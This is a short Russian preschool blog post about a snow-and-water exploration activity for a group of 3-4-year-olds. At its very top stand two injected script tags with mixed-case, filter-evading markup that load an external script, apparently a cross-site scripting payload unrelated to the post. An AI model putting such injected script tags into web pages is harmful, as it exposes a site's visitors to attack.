<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

05.02.2018

Исследовательская деятельность детей 3-4 лет

«Почему?» Звучит у нас каждый день и каждый час.

Сто вопросов  обо всём! Потому что мы – растём!

Исследовательская деятельность в дошкольных организациях позволяет организовать обучение так, чтобы ребенок мог задавать вопросы и самостоятельно находить  ответы на, казалось бы, простые для взрослых, вопросы. В процессе экспериментирования активный словарь детей пополняется словами, обозначающими сенсорные признаки, свойства явления или объекта природы.

 В исследовательско-творческой деятельности «Мир воды» дети 2 младшей группы:

-выявляли свойства снега: холодный, без запаха, пушистый, липкий и т.д.;

-учились устанавливать элементарные причинно-следственные связи: снег в тепле тает и превращается в воду; 

-искали ответ на вопрос «Почему в воде предмет видно, а в снегу нет?»;

-создавали снежную постройку с помощью счетных палочек.